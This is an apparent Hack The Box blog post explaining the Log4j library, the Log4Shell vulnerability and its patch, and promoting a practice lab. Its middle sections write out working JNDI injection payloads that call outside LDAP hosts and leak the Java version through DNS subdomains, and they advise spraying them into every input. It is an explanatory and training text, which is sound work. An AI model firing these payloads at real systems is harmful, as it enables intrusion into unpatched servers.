What’s Going on With Log4j?

What’s Log4j? 

Log4j is a popular logging library for Java created in 2001. It is part of the Apache Software Foundation, however, this doesn’t mean the maintainers are paid. All of their work is volunteer-based.

The logging library's main purpose is to provide developers with a way to change the format and verbosity of logging through configuration files versus code. If you have written a program or used a “hackers” program, chances are the output presented to the user is just print statements. When there is an issue, more print statements are added to the code around the problem area of the program. When the issue is fixed, the print statements may be commented out, or just left in.

What a logging library does, is instead of using print statements, the developer just uses a wrapper around the Logging class or object. So instead of using print(line), the code would look like this:

logging.INFO(“Application Started”)
logging.WARN(“File Uploaded”)
logging.DEBUG(“SQL Query Ran”)

Then the application has a configuration file which says what log levels (INFO, WARN, DEBUG, etc.) to display. This way when there is a problem with the application, the developer can enable DEBUG mode and instantly get the messages they need to identify the issue. 

Additionally, log libraries support different formats which do things like prepending the timestamp to each line or ensuring the log is in a format the receiving application is expecting.

Executing the Exploit

Log4j is an Expression Evaluation type of vulnerability and it happens whenever attacker-controlled output appears in the log output. This is pretty common because attacker-controlled strings appear in logs everywhere. Imagine an FTP Server, all usernames are logged to track login attempts, which means attackers can put any content they want into the FTP log file before any authentication occurs! If that application utilized log4j it would probably be vulnerable. The fact that an application is vulnerable if a library is used means this issue will pop up in all sorts of places. Six months ago Apache tweeted out that the Mars 2020 Helicopter mission was powered by Log4j. Another place we plan to see this vulnerability for a while are IOT (Internet of Things) Devices as many have been shown to be vulnerable from attackers putting the JNDI Exploit in a Wi-Fi SSID. 

The main way people have been testing if an application is vulnerable is by combining this vulnerability with DNS Canary Tokens (more DNS Canaries later) by placing: ${jndi:ldap://<DNS-Canary-Token>/a} in as many input fields as possible and anything that queries might be vulnerable! We say “might be vulnerable” because there are scenarios that can cause that domain to be queried. For example, whenever you send a link in messaging applications (Slack, Twitter, Discord, etc.), that service will look for URLs and query them in order to scan for malicious content or just create a preview of the link. 

In order to confirm something is vulnerable, it is best to replace the canary domain with a domain you control (or the BurpSuite Collaborator, a paid feature). This is because many services will identify a URL and attempt to access it. The SANS webcast has a lot more information about it.

If you have a DNS server stood up and can monitor the subdomain queries, you can change the payload to be something like: ${jndi:ldap:///${sys:java.version}.YourDomain.com/}

The reason why the data is placed in a subdomain and not as a URL is because the LDAP wrapper doesn’t send the URL. If you executed ${jndi:ldap:///127.0.0.1:9001/PleaseSubscribe} and had a netcat listener up, it would display a connection but not Please Subscribe. It’s much easier to exfiltrate data with DNS with this exploit. 

DNS Canary Tokens

Canary Tokens can be created, and are a great way to not only identify vulnerabilities but also create honeypots to catch attackers. It allows anyone to create unique internet-accessible services that will email you if it is ever accessed. DNS is one of the most reliable as that service is the least likely to be blocked. It’s unlikely to be blocked because when the DNS request makes it to the firewall it is unlikely to have the requestor's IP address anywhere in the packet! In a typical enterprise environment, when a user navigates to a domain name, their workstation will ask the domain controller where it’s located. The domain controller will lack the data, so the Forward Lookup Zone will be referenced, which could be 8.8.8.8. When the Domain Controller asks for it, the source IP address belongs to Domain Controllers, not the requestor's IP address. The source IP address changes make it very difficult for network administrators to block DNS from workstations.

Here’s how to create a DNS name for our Log4j payload: 

Go to: https://canarytokens.org/
Select DNS and input your email along with a note on where you plan on using this exploit.
Take the DNS Name it gives you and place it in the Log4j payload. Example: ${jndi:ldap://fdafsdafcdsavd.canarytokens.com/a}
Send that payload to every input you can and wait for emails.

Note: There now is a "Log4shell" canary token and it should be utilized for this payload as it eliminates false positives by allowing dynamic content to be in the subdomain.  You should still be familiar with DNS Canary Tokens as they are incredibly useful, for example, if on your website there was javascript that queries a resource of the DNS Canary token if the domain was something you did not expect. Then your team would be notified via email whenever someone "clones" your page, which is very common during phishing attacks.

Log4shell

The big Log4j vulnerability is being called Log4shell, and due to incomplete patches there are several CVE numbers out for it (CVE-2021-44228, CVE-2021-45046, and CVE-2021-45105). This CVE has impacted a lot of companies, some of which include Apple, Amazon, Baidu, Google, IBM, Tesla, VMWare, Twitter, and Steam.

Alibaba reported the vulnerability to Apache on November 24^th, but it wasn’t publicly known until Alibaba Cloud Security Team’s Chen Zhaojun tweeted about it on December 9^th. However, looking at the GitHub history we can see that Apache was quietly working on patches November 30th in an issue titled “Restrict LDAP access via JNDI” with no mentions of the vulnerability. This is typical for Opensource Products and always a challenging situation due to their code-base and collaboration being public. 

Every time a major vulnerability comes out it sparks a debate in the Open-Source community. Does the OS Product announce the vulnerability as the code is being worked on, so companies have ample time to defend themselves? Or do they work on the code silently, get it vetted then announce the vulnerability when a patch is available? There is no correct answer there are pro’s and con’s to both sides. However, since most open-source projects (like Log4j) are by developers that do this as a volunteer (for free)!. They tend to opt for the least stressful option which is to work on it in silence and hope people don’t notice before the fix is available.

So why is Log4shell so scary? It’s because cyber attackers can exploit the vulnerability to acquire shell access to networking systems and their computers. Shell facilitates very sensitive access to computer systems. If cyber attackers can establish shells, they can alter and read sensitive data and totally mess up a network’s operation. It’s dangerous stuff.

Cybersecurity firm Dragos has seen attackers exploit Log4shell, and it affects many very critical industries:

“Dragos Intelligence has observed both attempted and successful exploitation of the Log4j vulnerability in the wild and based on these observations already coordinated a takedown of one of the malicious domains used in early exploitation attempts.

This cross-cutting vulnerability, which is vendor-agnostic and affects both proprietary and open-source software, will leave a wide swathe of industries exposed to remote exploitation, including electric power, water, food and beverage, manufacturing, transportation, and more. Log4j is found in popular open-source repositories used in numerous industrial applications, such as Object Linking and Embedding for Process Control (OPC) Foundation’s Unified Architecture (UA) Java Legacy. Additionally, adversaries can leverage this vulnerability in proprietary Supervisory Control and Data Acquisition (SCADA) and Energy Management Systems (EMS) which make use of Java in their codebase.

Major IT vendors have begun to disclose the impact of this vulnerability on their software and equipment, and additional disclosures will continue as vendors work to identify the use of Log4j across their product lines. Unfortunately, the nature of the Log4j vulnerability makes it challenging to identify potentially impacted servers on a given network. While network-facing services written in Java are most obviously at risk, the vulnerability can technically impact any server (including back-end resources) where user-supplied data is processed and logged.”

The patch

JNDI is a feature in Log4j that’s involved in the Log4shell vulnerability. In the application version that was released on December 13^th, Apache has done their best to mitigate with the “disable JNDI by default” configuration:

“Dealing with CVE-2021-44228 has shown that JNDI has significant security issues. While we have mitigated what we are aware of, it would be safer for users to completely disable it by default, especially since the large majority are unlikely to be using it. Those who are will need to specify -Dlog4j2.enableJndi=true or the environment variable form of it to use any JNDI components.”

Apache is working on more robust patches. In the meantime, Cybereason developed a free “Log4shell vaccine” which can be downloaded from GitHub. And HuntressLabs developed a scanner that can be used to check if your network is affected by the Log4shell vulnerability.

Playing with Log4j

Typically, when vulnerabilities come out against open source products, the security community will create a Docker Image and push it to Github. That is what Christophetd did with his vulnerable log4j application. Initially, it was not vulnerable however Rayhan0x01 (a Content Engineer at Hack The Box) helped out by lowering the java version to where Classpath loading is available. This makes exploitation trivial to exploit as the JNDI Code will execute any java code provided. 

However, as time went on people found more ways to exploit JNDI, even the latest version of Java. On December 13th, @marcioalm had updated his JNDI-Exploit-Kit project to include support for this vulnerability which can be combined with YsoSerial (Java Deserialization Exploit Kit), to execute code without classpath loading. 

Ippsec and Rayhan0x1 saw this tweet and immediately went into making a vulnerable machine for Hack The Box. Since Hack The Box produces all the machines for Hacking Esports UHC (Ultimate Hacking Championship), which had a tournament on December 19th, it was decided to release the machine through UHC. The machine is now available on our platform as LogForge, it can be found under the UHC Track. If you just want to watch ippsec’s video walkthrough, you can find it here.

Dedicated Labs “Log4Shell”

Hack The Box’s Log4Shell machine has just been added to our collection of machines available exclusively to HTB Business customers.

It joins a growing list of exclusive machines containing vulnerabilities and misconfigurations regularly seen in the wild, which include other high impact CVEs like OMIGod, ApacheCGI, OverlayFS and both the Nightmares (Hive/Print) - all part of our ‘Very Easy’ category in the HTB Business collection. 

Security teams using our Dedicated Labs gain familiarity with these latest industry threats, as well as having access to hundreds more machines that focus on more advanced techniques and challenging exploits.